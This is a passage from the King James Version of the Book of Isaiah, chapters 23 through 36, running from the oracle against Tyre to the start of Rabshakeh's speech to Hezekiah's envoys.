whom the merchants of +Zidon, that pass over the sea, have replenished. + +23:3 And by great waters the seed of Sihor, the harvest of the river, +is her revenue; and she is a mart of nations. + +23:4 Be thou ashamed, O Zidon: for the sea hath spoken, even the +strength of the sea, saying, I travail not, nor bring forth children, +neither do I nourish up young men, nor bring up virgins. + +23:5 As at the report concerning Egypt, so shall they be sorely pained +at the report of Tyre. + +23:6 Pass ye over to Tarshish; howl, ye inhabitants of the isle. + +23:7 Is this your joyous city, whose antiquity is of ancient days? her +own feet shall carry her afar off to sojourn. + +23:8 Who hath taken this counsel against Tyre, the crowning city, +whose merchants are princes, whose traffickers are the honourable of +the earth? 23:9 The LORD of hosts hath purposed it, to stain the +pride of all glory, and to bring into contempt all the honourable of +the earth. + +23:10 Pass through thy land as a river, O daughter of Tarshish: there +is no more strength. + +23:11 He stretched out his hand over the sea, he shook the kingdoms: +the LORD hath given a commandment against the merchant city, to +destroy the strong holds thereof. + +23:12 And he said, Thou shalt no more rejoice, O thou oppressed +virgin, daughter of Zidon: arise, pass over to Chittim; there also +shalt thou have no rest. + +23:13 Behold the land of the Chaldeans; this people was not, till the +Assyrian founded it for them that dwell in the wilderness: they set up +the towers thereof, they raised up the palaces thereof; and he brought +it to ruin. + +23:14 Howl, ye ships of Tarshish: for your strength is laid waste. + +23:15 And it shall come to pass in that day, that Tyre shall be +forgotten seventy years, according to the days of one king: after the +end of seventy years shall Tyre sing as an harlot. + +23:16 Take an harp, go about the city, thou harlot that hast been +forgotten; make sweet melody, sing many songs, that thou mayest be +remembered. + +23:17 And it shall come to pass after the end of seventy years, that +the LORD will visit Tyre, and she shall turn to her hire, and shall +commit fornication with all the kingdoms of the world upon the face of +the earth. + +23:18 And her merchandise and her hire shall be holiness to the LORD: +it shall not be treasured nor laid up; for her merchandise shall be +for them that dwell before the LORD, to eat sufficiently, and for +durable clothing. + +24:1 Behold, the LORD maketh the earth empty, and maketh it waste, and +turneth it upside down, and scattereth abroad the inhabitants thereof. + +24:2 And it shall be, as with the people, so with the priest; as with +the servant, so with his master; as with the maid, so with her +mistress; as with the buyer, so with the seller; as with the lender, +so with the borrower; as with the taker of usury, so with the giver of +usury to him. + +24:3 The land shall be utterly emptied, and utterly spoiled: for the +LORD hath spoken this word. + +24:4 The earth mourneth and fadeth away, the world languisheth and +fadeth away, the haughty people of the earth do languish. + +24:5 The earth also is defiled under the inhabitants thereof; because +they have transgressed the laws, changed the ordinance, broken the +everlasting covenant. + +24:6 Therefore hath the curse devoured the earth, and they that dwell +therein are desolate: therefore the inhabitants of the earth are +burned, and few men left. + +24:7 The new wine mourneth, the vine languisheth, all the merryhearted +do sigh. + +24:8 The mirth of tabrets ceaseth, the noise of them that rejoice +endeth, the joy of the harp ceaseth. + +24:9 They shall not drink wine with a song; strong drink shall be +bitter to them that drink it. + +24:10 The city of confusion is broken down: every house is shut up, +that no man may come in. + +24:11 There is a crying for wine in the streets; all joy is darkened, +the mirth of the land is gone. + +24:12 In the city is left desolation, and the gate is smitten with +destruction. + +24:13 When thus it shall be in the midst of the land among the people, +there shall be as the shaking of an olive tree, and as the gleaning +grapes when the vintage is done. + +24:14 They shall lift up their voice, they shall sing for the majesty +of the LORD, they shall cry aloud from the sea. + +24:15 Wherefore glorify ye the LORD in the fires, even the name of the +LORD God of Israel in the isles of the sea. + +24:16 From the uttermost part of the earth have we heard songs, even +glory to the righteous. But I said, My leanness, my leanness, woe unto +me! the treacherous dealers have dealt treacherously; yea, the +treacherous dealers have dealt very treacherously. + +24:17 Fear, and the pit, and the snare, are upon thee, O inhabitant of +the earth. + +24:18 And it shall come to pass, that he who fleeth from the noise of +the fear shall fall into the pit; and he that cometh up out of the +midst of the pit shall be taken in the snare: for the windows from on +high are open, and the foundations of the earth do shake. + +24:19 The earth is utterly broken down, the earth is clean dissolved, +the earth is moved exceedingly. + +24:20 The earth shall reel to and fro like a drunkard, and shall be +removed like a cottage; and the transgression thereof shall be heavy +upon it; and it shall fall, and not rise again. + +24:21 And it shall come to pass in that day, that the LORD shall +punish the host of the high ones that are on high, and the kings of +the earth upon the earth. + +24:22 And they shall be gathered together, as prisoners are gathered +in the pit, and shall be shut up in the prison, and after many days +shall they be visited. + +24:23 Then the moon shall be confounded, and the sun ashamed, when the +LORD of hosts shall reign in mount Zion, and in Jerusalem, and before +his ancients gloriously. + +25:1 O Lord, thou art my God; I will exalt thee, I will praise thy +name; for thou hast done wonderful things; thy counsels of old are +faithfulness and truth. + +25:2 For thou hast made of a city an heap; of a defenced city a ruin: +a palace of strangers to be no city; it shall never be built. + +25:3 Therefore shall the strong people glorify thee, the city of the +terrible nations shall fear thee. + +25:4 For thou hast been a strength to the poor, a strength to the +needy in his distress, a refuge from the storm, a shadow from the +heat, when the blast of the terrible ones is as a storm against the +wall. + +25:5 Thou shalt bring down the noise of strangers, as the heat in a +dry place; even the heat with the shadow of a cloud: the branch of the +terrible ones shall be brought low. + +25:6 And in this mountain shall the LORD of hosts make unto all people +a feast of fat things, a feast of wines on the lees, of fat things +full of marrow, of wines on the lees well refined. + +25:7 And he will destroy in this mountain the face of the covering +cast over all people, and the vail that is spread over all nations. + +25:8 He will swallow up death in victory; and the Lord GOD will wipe +away tears from off all faces; and the rebuke of his people shall he +take away from off all the earth: for the LORD hath spoken it. + +25:9 And it shall be said in that day, Lo, this is our God; we have +waited for him, and he will save us: this is the LORD; we have waited +for him, we will be glad and rejoice in his salvation. + +25:10 For in this mountain shall the hand of the LORD rest, and Moab +shall be trodden down under him, even as straw is trodden down for the +dunghill. + +25:11 And he shall spread forth his hands in the midst of them, as he +that swimmeth spreadeth forth his hands to swim: and he shall bring +down their pride together with the spoils of their hands. + +25:12 And the fortress of the high fort of thy walls shall he bring +down, lay low, and bring to the ground, even to the dust. + +26:1 In that day shall this song be sung in the land of Judah; We have +a strong city; salvation will God appoint for walls and bulwarks. + +26:2 Open ye the gates, that the righteous nation which keepeth the +truth may enter in. + +26:3 Thou wilt keep him in perfect peace, whose mind is stayed on +thee: because he trusteth in thee. + +26:4 Trust ye in the LORD for ever: for in the LORD JEHOVAH is +everlasting strength: 26:5 For he bringeth down them that dwell on +high; the lofty city, he layeth it low; he layeth it low, even to the +ground; he bringeth it even to the dust. + +26:6 The foot shall tread it down, even the feet of the poor, and the +steps of the needy. + +26:7 The way of the just is uprightness: thou, most upright, dost +weigh the path of the just. + +26:8 Yea, in the way of thy judgments, O LORD, have we waited for +thee; the desire of our soul is to thy name, and to the remembrance of +thee. + +26:9 With my soul have I desired thee in the night; yea, with my +spirit within me will I seek thee early: for when thy judgments are in +the earth, the inhabitants of the world will learn righteousness. + +26:10 Let favour be shewed to the wicked, yet will he not learn +righteousness: in the land of uprightness will he deal unjustly, and +will not behold the majesty of the LORD. + +26:11 LORD, when thy hand is lifted up, they will not see: but they +shall see, and be ashamed for their envy at the people; yea, the fire +of thine enemies shall devour them. + +26:12 LORD, thou wilt ordain peace for us: for thou also hast wrought +all our works in us. + +26:13 O LORD our God, other lords beside thee have had dominion over +us: but by thee only will we make mention of thy name. + +26:14 They are dead, they shall not live; they are deceased, they +shall not rise: therefore hast thou visited and destroyed them, and +made all their memory to perish. + +26:15 Thou hast increased the nation, O LORD, thou hast increased the +nation: thou art glorified: thou hadst removed it far unto all the +ends of the earth. + +26:16 LORD, in trouble have they visited thee, they poured out a +prayer when thy chastening was upon them. + +26:17 Like as a woman with child, that draweth near the time of her +delivery, is in pain, and crieth out in her pangs; so have we been in +thy sight, O LORD. + +26:18 We have been with child, we have been in pain, we have as it +were brought forth wind; we have not wrought any deliverance in the +earth; neither have the inhabitants of the world fallen. + +26:19 Thy dead men shall live, together with my dead body shall they +arise. Awake and sing, ye that dwell in dust: for thy dew is as the +dew of herbs, and the earth shall cast out the dead. + +26:20 Come, my people, enter thou into thy chambers, and shut thy +doors about thee: hide thyself as it were for a little moment, until +the indignation be overpast. + +26:21 For, behold, the LORD cometh out of his place to punish the +inhabitants of the earth for their iniquity: the earth also shall +disclose her blood, and shall no more cover her slain. + +27:1 In that day the LORD with his sore and great and strong sword +shall punish leviathan the piercing serpent, even leviathan that +crooked serpent; and he shall slay the dragon that is in the sea. + +27:2 In that day sing ye unto her, A vineyard of red wine. + +27:3 I the LORD do keep it; I will water it every moment: lest any +hurt it, I will keep it night and day. + +27:4 Fury is not in me: who would set the briers and thorns against me +in battle? I would go through them, I would burn them together. + +27:5 Or let him take hold of my strength, that he may make peace with +me; and he shall make peace with me. + +27:6 He shall cause them that come of Jacob to take root: Israel shall +blossom and bud, and fill the face of the world with fruit. + +27:7 Hath he smitten him, as he smote those that smote him? or is he +slain according to the slaughter of them that are slain by him? 27:8 +In measure, when it shooteth forth, thou wilt debate with it: he +stayeth his rough wind in the day of the east wind. + +27:9 By this therefore shall the iniquity of Jacob be purged; and this +is all the fruit to take away his sin; when he maketh all the stones +of the altar as chalkstones that are beaten in sunder, the groves and +images shall not stand up. + +27:10 Yet the defenced city shall be desolate, and the habitation +forsaken, and left like a wilderness: there shall the calf feed, and +there shall he lie down, and consume the branches thereof. + +27:11 When the boughs thereof are withered, they shall be broken off: +the women come, and set them on fire: for it is a people of no +understanding: therefore he that made them will not have mercy on +them, and he that formed them will shew them no favour. + +27:12 And it shall come to pass in that day, that the LORD shall beat +off from the channel of the river unto the stream of Egypt, and ye +shall be gathered one by one, O ye children of Israel. + +27:13 And it shall come to pass in that day, that the great trumpet +shall be blown, and they shall come which were ready to perish in the +land of Assyria, and the outcasts in the land of Egypt, and shall +worship the LORD in the holy mount at Jerusalem. + +28:1 Woe to the crown of pride, to the drunkards of Ephraim, whose +glorious beauty is a fading flower, which are on the head of the fat +valleys of them that are overcome with wine! 28:2 Behold, the Lord +hath a mighty and strong one, which as a tempest of hail and a +destroying storm, as a flood of mighty waters overflowing, shall cast +down to the earth with the hand. + +28:3 The crown of pride, the drunkards of Ephraim, shall be trodden +under feet: 28:4 And the glorious beauty, which is on the head of the +fat valley, shall be a fading flower, and as the hasty fruit before +the summer; which when he that looketh upon it seeth, while it is yet +in his hand he eateth it up. + +28:5 In that day shall the LORD of hosts be for a crown of glory, and +for a diadem of beauty, unto the residue of his people, 28:6 And for a +spirit of judgment to him that sitteth in judgment, and for strength +to them that turn the battle to the gate. + +28:7 But they also have erred through wine, and through strong drink +are out of the way; the priest and the prophet have erred through +strong drink, they are swallowed up of wine, they are out of the way +through strong drink; they err in vision, they stumble in judgment. + +28:8 For all tables are full of vomit and filthiness, so that there is +no place clean. + +28:9 Whom shall he teach knowledge? and whom shall he make to +understand doctrine? them that are weaned from the milk, and drawn +from the breasts. + +28:10 For precept must be upon precept, precept upon precept; line +upon line, line upon line; here a little, and there a little: 28:11 +For with stammering lips and another tongue will he speak to this +people. + +28:12 To whom he said, This is the rest wherewith ye may cause the +weary to rest; and this is the refreshing: yet they would not hear. + +28:13 But the word of the LORD was unto them precept upon precept, +precept upon precept; line upon line, line upon line; here a little, +and there a little; that they might go, and fall backward, and be +broken, and snared, and taken. + +28:14 Wherefore hear the word of the LORD, ye scornful men, that rule +this people which is in Jerusalem. + +28:15 Because ye have said, We have made a covenant with death, and +with hell are we at agreement; when the overflowing scourge shall pass +through, it shall not come unto us: for we have made lies our refuge, +and under falsehood have we hid ourselves: 28:16 Therefore thus saith +the Lord GOD, Behold, I lay in Zion for a foundation a stone, a tried +stone, a precious corner stone, a sure foundation: he that believeth +shall not make haste. + +28:17 Judgment also will I lay to the line, and righteousness to the +plummet: and the hail shall sweep away the refuge of lies, and the +waters shall overflow the hiding place. + +28:18 And your covenant with death shall be disannulled, and your +agreement with hell shall not stand; when the overflowing scourge +shall pass through, then ye shall be trodden down by it. + +28:19 From the time that it goeth forth it shall take you: for morning +by morning shall it pass over, by day and by night: and it shall be a +vexation only to understand the report. + +28:20 For the bed is shorter than that a man can stretch himself on +it: and the covering narrower than that he can wrap himself in it. + +28:21 For the LORD shall rise up as in mount Perazim, he shall be +wroth as in the valley of Gibeon, that he may do his work, his strange +work; and bring to pass his act, his strange act. + +28:22 Now therefore be ye not mockers, lest your bands be made strong: +for I have heard from the Lord GOD of hosts a consumption, even +determined upon the whole earth. + +28:23 Give ye ear, and hear my voice; hearken, and hear my speech. + +28:24 Doth the plowman plow all day to sow? doth he open and break the +clods of his ground? 28:25 When he hath made plain the face thereof, +doth he not cast abroad the fitches, and scatter the cummin, and cast +in the principal wheat and the appointed barley and the rie in their +place? 28:26 For his God doth instruct him to discretion, and doth +teach him. + +28:27 For the fitches are not threshed with a threshing instrument, +neither is a cart wheel turned about upon the cummin; but the fitches +are beaten out with a staff, and the cummin with a rod. + +28:28 Bread corn is bruised; because he will not ever be threshing it, +nor break it with the wheel of his cart, nor bruise it with his +horsemen. + +28:29 This also cometh forth from the LORD of hosts, which is +wonderful in counsel, and excellent in working. + +29:1 Woe to Ariel, to Ariel, the city where David dwelt! add ye year +to year; let them kill sacrifices. + +29:2 Yet I will distress Ariel, and there shall be heaviness and +sorrow: and it shall be unto me as Ariel. + +29:3 And I will camp against thee round about, and will lay siege +against thee with a mount, and I will raise forts against thee. + +29:4 And thou shalt be brought down, and shalt speak out of the +ground, and thy speech shall be low out of the dust, and thy voice +shall be, as of one that hath a familiar spirit, out of the ground, +and thy speech shall whisper out of the dust. + +29:5 Moreover the multitude of thy strangers shall be like small dust, +and the multitude of the terrible ones shall be as chaff that passeth +away: yea, it shall be at an instant suddenly. + +29:6 Thou shalt be visited of the LORD of hosts with thunder, and with +earthquake, and great noise, with storm and tempest, and the flame of +devouring fire. + +29:7 And the multitude of all the nations that fight against Ariel, +even all that fight against her and her munition, and that distress +her, shall be as a dream of a night vision. + +29:8 It shall even be as when an hungry man dreameth, and, behold, he +eateth; but he awaketh, and his soul is empty: or as when a thirsty +man dreameth, and, behold, he drinketh; but he awaketh, and, behold, +he is faint, and his soul hath appetite: so shall the multitude of all +the nations be, that fight against mount Zion. + +29:9 Stay yourselves, and wonder; cry ye out, and cry: they are +drunken, but not with wine; they stagger, but not with strong drink. + +29:10 For the LORD hath poured out upon you the spirit of deep sleep, +and hath closed your eyes: the prophets and your rulers, the seers +hath he covered. + +29:11 And the vision of all is become unto you as the words of a book +that is sealed, which men deliver to one that is learned, saying, Read +this, I pray thee: and he saith, I cannot; for it is sealed: 29:12 And +the book is delivered to him that is not learned, saying, Read this, I +pray thee: and he saith, I am not learned. + +29:13 Wherefore the Lord said, Forasmuch as this people draw near me +with their mouth, and with their lips do honour me, but have removed +their heart far from me, and their fear toward me is taught by the +precept of men: 29:14 Therefore, behold, I will proceed to do a +marvellous work among this people, even a marvellous work and a +wonder: for the wisdom of their wise men shall perish, and the +understanding of their prudent men shall be hid. + +29:15 Woe unto them that seek deep to hide their counsel from the +LORD, and their works are in the dark, and they say, Who seeth us? and +who knoweth us? 29:16 Surely your turning of things upside down shall +be esteemed as the potter's clay: for shall the work say of him that +made it, He made me not? or shall the thing framed say of him that +framed it, He had no understanding? 29:17 Is it not yet a very little +while, and Lebanon shall be turned into a fruitful field, and the +fruitful field shall be esteemed as a forest? 29:18 And in that day +shall the deaf hear the words of the book, and the eyes of the blind +shall see out of obscurity, and out of darkness. + +29:19 The meek also shall increase their joy in the LORD, and the poor +among men shall rejoice in the Holy One of Israel. + +29:20 For the terrible one is brought to nought, and the scorner is +consumed, and all that watch for iniquity are cut off: 29:21 That make +a man an offender for a word, and lay a snare for him that reproveth +in the gate, and turn aside the just for a thing of nought. + +29:22 Therefore thus saith the LORD, who redeemed Abraham, concerning +the house of Jacob, Jacob shall not now be ashamed, neither shall his +face now wax pale. + +29:23 But when he seeth his children, the work of mine hands, in the +midst of him, they shall sanctify my name, and sanctify the Holy One +of Jacob, and shall fear the God of Israel. + +29:24 They also that erred in spirit shall come to understanding, and +they that murmured shall learn doctrine. + +30:1 Woe to the rebellious children, saith the LORD, that take +counsel, but not of me; and that cover with a covering, but not of my +spirit, that they may add sin to sin: 30:2 That walk to go down into +Egypt, and have not asked at my mouth; to strengthen themselves in the +strength of Pharaoh, and to trust in the shadow of Egypt! 30:3 +Therefore shall the strength of Pharaoh be your shame, and the trust +in the shadow of Egypt your confusion. + +30:4 For his princes were at Zoan, and his ambassadors came to Hanes. + +30:5 They were all ashamed of a people that could not profit them, nor +be an help nor profit, but a shame, and also a reproach. + +30:6 The burden of the beasts of the south: into the land of trouble +and anguish, from whence come the young and old lion, the viper and +fiery flying serpent, they will carry their riches upon the shoulders +of young asses, and their treasures upon the bunches of camels, to a +people that shall not profit them. + +30:7 For the Egyptians shall help in vain, and to no purpose: +therefore have I cried concerning this, Their strength is to sit +still. + +30:8 Now go, write it before them in a table, and note it in a book, +that it may be for the time to come for ever and ever: 30:9 That this +is a rebellious people, lying children, children that will not hear +the law of the LORD: 30:10 Which say to the seers, See not; and to the +prophets, Prophesy not unto us right things, speak unto us smooth +things, prophesy deceits: 30:11 Get you out of the way, turn aside out +of the path, cause the Holy One of Israel to cease from before us. + +30:12 Wherefore thus saith the Holy One of Israel, Because ye despise +this word, and trust in oppression and perverseness, and stay thereon: +30:13 Therefore this iniquity shall be to you as a breach ready to +fall, swelling out in a high wall, whose breaking cometh suddenly at +an instant. + +30:14 And he shall break it as the breaking of the potters' vessel +that is broken in pieces; he shall not spare: so that there shall not +be found in the bursting of it a sherd to take fire from the hearth, +or to take water withal out of the pit. + +30:15 For thus saith the Lord GOD, the Holy One of Israel; In +returning and rest shall ye be saved; in quietness and in confidence +shall be your strength: and ye would not. + +30:16 But ye said, No; for we will flee upon horses; therefore shall +ye flee: and, We will ride upon the swift; therefore shall they that +pursue you be swift. + +30:17 One thousand shall flee at the rebuke of one; at the rebuke of +five shall ye flee: till ye be left as a beacon upon the top of a +mountain, and as an ensign on an hill. + +30:18 And therefore will the LORD wait, that he may be gracious unto +you, and therefore will he be exalted, that he may have mercy upon +you: for the LORD is a God of judgment: blessed are all they that wait +for him. + +30:19 For the people shall dwell in Zion at Jerusalem: thou shalt weep +no more: he will be very gracious unto thee at the voice of thy cry; +when he shall hear it, he will answer thee. + +30:20 And though the Lord give you the bread of adversity, and the +water of affliction, yet shall not thy teachers be removed into a +corner any more, but thine eyes shall see thy teachers: 30:21 And +thine ears shall hear a word behind thee, saying, This is the way, +walk ye in it, when ye turn to the right hand, and when ye turn to the +left. + +30:22 Ye shall defile also the covering of thy graven images of +silver, and the ornament of thy molten images of gold: thou shalt cast +them away as a menstruous cloth; thou shalt say unto it, Get thee +hence. + +30:23 Then shall he give the rain of thy seed, that thou shalt sow the +ground withal; and bread of the increase of the earth, and it shall be +fat and plenteous: in that day shall thy cattle feed in large +pastures. + +30:24 The oxen likewise and the young asses that ear the ground shall +eat clean provender, which hath been winnowed with the shovel and with +the fan. + +30:25 And there shall be upon every high mountain, and upon every high +hill, rivers and streams of waters in the day of the great slaughter, +when the towers fall. + +30:26 Moreover the light of the moon shall be as the light of the sun, +and the light of the sun shall be sevenfold, as the light of seven +days, in the day that the LORD bindeth up the breach of his people, +and healeth the stroke of their wound. + +30:27 Behold, the name of the LORD cometh from far, burning with his +anger, and the burden thereof is heavy: his lips are full of +indignation, and his tongue as a devouring fire: 30:28 And his breath, +as an overflowing stream, shall reach to the midst of the neck, to +sift the nations with the sieve of vanity: and there shall be a bridle +in the jaws of the people, causing them to err. + +30:29 Ye shall have a song, as in the night when a holy solemnity is +kept; and gladness of heart, as when one goeth with a pipe to come +into the mountain of the LORD, to the mighty One of Israel. + +30:30 And the LORD shall cause his glorious voice to be heard, and +shall shew the lighting down of his arm, with the indignation of his +anger, and with the flame of a devouring fire, with scattering, and +tempest, and hailstones. + +30:31 For through the voice of the LORD shall the Assyrian be beaten +down, which smote with a rod. + +30:32 And in every place where the grounded staff shall pass, which +the LORD shall lay upon him, it shall be with tabrets and harps: and +in battles of shaking will he fight with it. + +30:33 For Tophet is ordained of old; yea, for the king it is prepared; +he hath made it deep and large: the pile thereof is fire and much +wood; the breath of the LORD, like a stream of brimstone, doth kindle +it. + +31:1 Woe to them that go down to Egypt for help; and stay on horses, +and trust in chariots, because they are many; and in horsemen, because +they are very strong; but they look not unto the Holy One of Israel, +neither seek the LORD! 31:2 Yet he also is wise, and will bring evil, +and will not call back his words: but will arise against the house of +the evildoers, and against the help of them that work iniquity. + +31:3 Now the Egyptians are men, and not God; and their horses flesh, +and not spirit. When the LORD shall stretch out his hand, both he that +helpeth shall fall, and he that is holpen shall fall down, and they +all shall fail together. + +31:4 For thus hath the LORD spoken unto me, Like as the lion and the +young lion roaring on his prey, when a multitude of shepherds is +called forth against him, he will not be afraid of their voice, nor +abase himself for the noise of them: so shall the LORD of hosts come +down to fight for mount Zion, and for the hill thereof. + +31:5 As birds flying, so will the LORD of hosts defend Jerusalem; +defending also he will deliver it; and passing over he will preserve +it. + +31:6 Turn ye unto him from whom the children of Israel have deeply +revolted. + +31:7 For in that day every man shall cast away his idols of silver, +and his idols of gold, which your own hands have made unto you for a +sin. + +31:8 Then shall the Assyrian fall with the sword, not of a mighty man; +and the sword, not of a mean man, shall devour him: but he shall flee +from the sword, and his young men shall be discomfited. + +31:9 And he shall pass over to his strong hold for fear, and his +princes shall be afraid of the ensign, saith the LORD, whose fire is +in Zion, and his furnace in Jerusalem. + +32:1 Behold, a king shall reign in righteousness, and princes shall +rule in judgment. + +32:2 And a man shall be as an hiding place from the wind, and a covert +from the tempest; as rivers of water in a dry place, as the shadow of +a great rock in a weary land. + +32:3 And the eyes of them that see shall not be dim, and the ears of +them that hear shall hearken. + +32:4 The heart also of the rash shall understand knowledge, and the +tongue of the stammerers shall be ready to speak plainly. + +32:5 The vile person shall be no more called liberal, nor the churl +said to be bountiful. + +32:6 For the vile person will speak villany, and his heart will work +iniquity, to practise hypocrisy, and to utter error against the LORD, +to make empty the soul of the hungry, and he will cause the drink of +the thirsty to fail. + +32:7 The instruments also of the churl are evil: he deviseth wicked +devices to destroy the poor with lying words, even when the needy +speaketh right. + +32:8 But the liberal deviseth liberal things; and by liberal things +shall he stand. + +32:9 Rise up, ye women that are at ease; hear my voice, ye careless +daughters; give ear unto my speech. + +32:10 Many days and years shall ye be troubled, ye careless women: for +the vintage shall fail, the gathering shall not come. + +32:11 Tremble, ye women that are at ease; be troubled, ye careless +ones: strip you, and make you bare, and gird sackcloth upon your +loins. + +32:12 They shall lament for the teats, for the pleasant fields, for +the fruitful vine. + +32:13 Upon the land of my people shall come up thorns and briers; yea, +upon all the houses of joy in the joyous city: 32:14 Because the +palaces shall be forsaken; the multitude of the city shall be left; +the forts and towers shall be for dens for ever, a joy of wild asses, +a pasture of flocks; 32:15 Until the spirit be poured upon us from on +high, and the wilderness be a fruitful field, and the fruitful field +be counted for a forest. + +32:16 Then judgment shall dwell in the wilderness, and righteousness +remain in the fruitful field. + +32:17 And the work of righteousness shall be peace; and the effect of +righteousness quietness and assurance for ever. + +32:18 And my people shall dwell in a peaceable habitation, and in sure +dwellings, and in quiet resting places; 32:19 When it shall hail, +coming down on the forest; and the city shall be low in a low place. + +32:20 Blessed are ye that sow beside all waters, that send forth +thither the feet of the ox and the ass. + +33:1 Woe to thee that spoilest, and thou wast not spoiled; and dealest +treacherously, and they dealt not treacherously with thee! when thou +shalt cease to spoil, thou shalt be spoiled; and when thou shalt make +an end to deal treacherously, they shall deal treacherously with thee. + +33:2 O LORD, be gracious unto us; we have waited for thee: be thou +their arm every morning, our salvation also in the time of trouble. + +33:3 At the noise of the tumult the people fled; at the lifting up of +thyself the nations were scattered. + +33:4 And your spoil shall be gathered like the gathering of the +caterpiller: as the running to and fro of locusts shall he run upon +them. + +33:5 The LORD is exalted; for he dwelleth on high: he hath filled Zion +with judgment and righteousness. + +33:6 And wisdom and knowledge shall be the stability of thy times, and +strength of salvation: the fear of the LORD is his treasure. + +33:7 Behold, their valiant ones shall cry without: the ambassadors of +peace shall weep bitterly. + +33:8 The highways lie waste, the wayfaring man ceaseth: he hath broken +the covenant, he hath despised the cities, he regardeth no man. + +33:9 The earth mourneth and languisheth: Lebanon is ashamed and hewn +down: Sharon is like a wilderness; and Bashan and Carmel shake off +their fruits. + +33:10 Now will I rise, saith the LORD; now will I be exalted; now will +I lift up myself. + +33:11 Ye shall conceive chaff, ye shall bring forth stubble: your +breath, as fire, shall devour you. + +33:12 And the people shall be as the burnings of lime: as thorns cut +up shall they be burned in the fire. + +33:13 Hear, ye that are far off, what I have done; and, ye that are +near, acknowledge my might. + +33:14 The sinners in Zion are afraid; fearfulness hath surprised the +hypocrites. Who among us shall dwell with the devouring fire? who +among us shall dwell with everlasting burnings? 33:15 He that walketh +righteously, and speaketh uprightly; he that despiseth the gain of +oppressions, that shaketh his hands from holding of bribes, that +stoppeth his ears from hearing of blood, and shutteth his eyes from +seeing evil; 33:16 He shall dwell on high: his place of defence shall +be the munitions of rocks: bread shall be given him; his waters shall +be sure. + +33:17 Thine eyes shall see the king in his beauty: they shall behold +the land that is very far off. + +33:18 Thine heart shall meditate terror. Where is the scribe? where is +the receiver? where is he that counted the towers? 33:19 Thou shalt +not see a fierce people, a people of a deeper speech than thou canst +perceive; of a stammering tongue, that thou canst not understand. + +33:20 Look upon Zion, the city of our solemnities: thine eyes shall +see Jerusalem a quiet habitation, a tabernacle that shall not be taken +down; not one of the stakes thereof shall ever be removed, neither +shall any of the cords thereof be broken. + +33:21 But there the glorious LORD will be unto us a place of broad +rivers and streams; wherein shall go no galley with oars, neither +shall gallant ship pass thereby. + +33:22 For the LORD is our judge, the LORD is our lawgiver, the LORD is +our king; he will save us. + +33:23 Thy tacklings are loosed; they could not well strengthen their +mast, they could not spread the sail: then is the prey of a great +spoil divided; the lame take the prey. + +33:24 And the inhabitant shall not say, I am sick: the people that +dwell therein shall be forgiven their iniquity. + +34:1 Come near, ye nations, to hear; and hearken, ye people: let the +earth hear, and all that is therein; the world, and all things that +come forth of it. + +34:2 For the indignation of the LORD is upon all nations, and his fury +upon all their armies: he hath utterly destroyed them, he hath +delivered them to the slaughter. + +34:3 Their slain also shall be cast out, and their stink shall come up +out of their carcases, and the mountains shall be melted with their +blood. + +34:4 And all the host of heaven shall be dissolved, and the heavens +shall be rolled together as a scroll: and all their host shall fall +down, as the leaf falleth off from the vine, and as a falling fig from +the fig tree. + +34:5 For my sword shall be bathed in heaven: behold, it shall come +down upon Idumea, and upon the people of my curse, to judgment. + +34:6 The sword of the LORD is filled with blood, it is made fat with +fatness, and with the blood of lambs and goats, with the fat of the +kidneys of rams: for the LORD hath a sacrifice in Bozrah, and a great +slaughter in the land of Idumea. + +34:7 And the unicorns shall come down with them, and the bullocks with +the bulls; and their land shall be soaked with blood, and their dust +made fat with fatness. + +34:8 For it is the day of the LORD's vengeance, and the year of +recompences for the controversy of Zion. + +34:9 And the streams thereof shall be turned into pitch, and the dust +thereof into brimstone, and the land thereof shall become burning +pitch. + +34:10 It shall not be quenched night nor day; the smoke thereof shall +go up for ever: from generation to generation it shall lie waste; none +shall pass through it for ever and ever. + +34:11 But the cormorant and the bittern shall possess it; the owl also +and the raven shall dwell in it: and he shall stretch out upon it the +line of confusion, and the stones of emptiness. + +34:12 They shall call the nobles thereof to the kingdom, but none +shall be there, and all her princes shall be nothing. + +34:13 And thorns shall come up in her palaces, nettles and brambles in +the fortresses thereof: and it shall be an habitation of dragons, and +a court for owls. + +34:14 The wild beasts of the desert shall also meet with the wild +beasts of the island, and the satyr shall cry to his fellow; the +screech owl also shall rest there, and find for herself a place of +rest. + +34:15 There shall the great owl make her nest, and lay, and hatch, and +gather under her shadow: there shall the vultures also be gathered, +every one with her mate. + +34:16 Seek ye out of the book of the LORD, and read: no one of these +shall fail, none shall want her mate: for my mouth it hath commanded, +and his spirit it hath gathered them. + +34:17 And he hath cast the lot for them, and his hand hath divided it +unto them by line: they shall possess it for ever, from generation to +generation shall they dwell therein. + +35:1 The wilderness and the solitary place shall be glad for them; and +the desert shall rejoice, and blossom as the rose. + +35:2 It shall blossom abundantly, and rejoice even with joy and +singing: the glory of Lebanon shall be given unto it, the excellency +of Carmel and Sharon, they shall see the glory of the LORD, and the +excellency of our God. + +35:3 Strengthen ye the weak hands, and confirm the feeble knees. + +35:4 Say to them that are of a fearful heart, Be strong, fear not: +behold, your God will come with vengeance, even God with a recompence; +he will come and save you. + +35:5 Then the eyes of the blind shall be opened, and the ears of the +deaf shall be unstopped. + +35:6 Then shall the lame man leap as an hart, and the tongue of the +dumb sing: for in the wilderness shall waters break out, and streams +in the desert. + +35:7 And the parched ground shall become a pool, and the thirsty land +springs of water: in the habitation of dragons, where each lay, shall +be grass with reeds and rushes. + +35:8 And an highway shall be there, and a way, and it shall be called +The way of holiness; the unclean shall not pass over it; but it shall +be for those: the wayfaring men, though fools, shall not err therein. + +35:9 No lion shall be there, nor any ravenous beast shall go up +thereon, it shall not be found there; but the redeemed shall walk +there: 35:10 And the ransomed of the LORD shall return, and come to +Zion with songs and everlasting joy upon their heads: they shall +obtain joy and gladness, and sorrow and sighing shall flee away. + +36:1 Now it came to pass in the fourteenth year of king Hezekiah, that +Sennacherib king of Assyria came up against all the defenced cities of +Judah, and took them. + +36:2 And the king of Assyria sent Rabshakeh from Lachish to Jerusalem +unto king Hezekiah with a great army. And he stood by the conduit of +the upper pool in the highway of the fuller's field. + +36:3 Then came forth unto him Eliakim, Hilkiah's son, which was over +the house, and Shebna the scribe, and Joah, Asaph's son, the recorder. + +36:4 And Rabshakeh said unto them, Say ye now to Hezekiah, Thus saith +the great king, the king of Assyria, What confidence is this wherein +thou trustest? 36:5 I say, sayest thou, (but they are but vain words) +I have counsel and strength for war: now on whom dost thou trust, that +thou rebellest against me? 36:6 Lo, thou trustest in the staff of +this broken reed, on Egypt; whereon if a man lean, it will go into his +hand, and pierce it: so is Pharaoh king of Egypt to all that trust in +him. + +36:7 But if thou say 